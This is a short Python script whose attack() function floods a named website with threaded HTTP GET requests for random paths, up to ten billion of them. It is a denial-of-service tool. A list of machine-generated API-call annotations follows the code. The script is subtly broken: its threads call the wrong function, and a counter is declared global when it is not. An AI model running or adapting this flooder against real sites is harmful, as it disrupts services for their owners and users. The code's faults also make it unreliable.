import random
import socket
import string
import sys
import threading
import time


def attack(host: str, port: int = 80, request_count: int = 10 ** 10) -> None:
    # Threading support
    thread_num = 0
    thread_num_mutex = threading.Lock()

    # Utility function
    def print_status() -> None:
        global thread_num
        thread_num_mutex.acquire(True)

        thread_num += 1
        print(f"\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...")

        thread_num_mutex.release()

    def generate_url_path():
        msg = str(string.ascii_letters + string.digits + string.punctuation)
        data = "".join(random.sample(msg, 5))
        return data

    def attack_() -> None:
        print_status()
        url_path = generate_url_path()

        dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        try:
            dos.connect((ip, port))

            msg = f"GET /{url_path} HTTP/1.1\nHost: {host}\n\n"
            dos.send(msg.encode())
        except socket.error:
            print(f"[ERROR] Site may be down | {socket.error}")
        finally:
            dos.shutdown(socket.SHUT_RDWR)
            dos.close()

    try:
        host = host.replace("https://", "").replace("http://", "").replace("www.", "")
        ip = socket.gethostbyname(host)
    except socket.gaierror:
        print("[ERROR] Make sure you entered a correct website!")
        sys.exit(2)

    all_threads = []

    for i in range(request_count):
        t1 = threading.Thread(target=attack)
        t1.start()
        all_threads.append(t1)

        time.sleep(0.01)

    for current_thread in all_threads:
        current_thread.join()

[((12, 23, 12, 39), 'threading.Lock', 'threading.Lock', ({}, {}), '()', False, 'import threading\n'), ((33, 14, 33, 63), 'socket.socket', 'socket.socket', ({(33, 28, 33, 42): 'socket.AF_INET', (33, 44, 33, 62): 'socket.SOCK_STREAM'}, {}), '(socket.AF_INET, socket.SOCK_STREAM)', False, 'import socket\n'), ((48, 13, 48, 39), 'socket.gethostbyname', 'socket.gethostbyname', ({(48, 34, 48, 38): 'host'}, {}), '(host)', False, 'import socket\n'), ((56, 13, 56, 44), 'threading.Thread', 'threading.Thread', (), '', False, 'import threading\n'), ((60, 8, 60, 24), 'time.sleep', 'time.sleep', ({(60, 19, 60, 23): '(0.01)'}, {}), '(0.01)', False, 'import time\n'), ((26, 23, 26, 44), 'random.sample', 'random.sample', ({(26, 37, 26, 40): 'msg', (26, 42, 26, 43): '5'}, {}), '(msg, 5)', False, 'import random\n'), ((51, 8, 51, 19), 'sys.exit', 'sys.exit', ({(51, 17, 51, 18): '(2)'}, {}), '(2)', False, 'import sys\n'), ((20, 20, 20, 32), 'time.ctime', 'time.ctime', ({}, {}), '()', False, 'import time\n')]